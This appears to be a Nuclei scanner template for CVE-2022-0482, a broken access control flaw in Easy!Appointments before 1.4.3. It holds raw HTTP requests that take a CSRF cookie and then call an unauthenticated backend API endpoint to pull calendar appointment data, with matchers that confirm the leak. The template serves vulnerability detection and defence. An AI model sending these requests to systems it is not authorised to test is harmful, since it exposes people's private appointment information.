id: CVE-2022-0482

info:
  name: Easy!Appointments Broken Access Control
  author: francescocarlucci,opencirt
  severity: critical
  description: |
    Exposure of Private Personal Information to an Unauthorized Actor in GitHub repository alextselegidis/easyappointments prior to 1.4.3.
  reference:
    - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0482
    - https://github.com/alextselegidis/easyappointments
    - https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2022-0482
    cwe-id: CWE-863
  tags: cve,cve2022,easyappointments

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |
        POST /index.php/backend_api/ajax_get_calendar_events HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        csrfToken={{csrf_token}}&startDate=2022-01-01&endDate=2022-01-01

    extractors:
      - type: kval
        part: header
        name: csrf_token
        kval:
          - "csrfCookie"
        internal: true

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"appointments":'
          - '"unavailables":'
        condition: and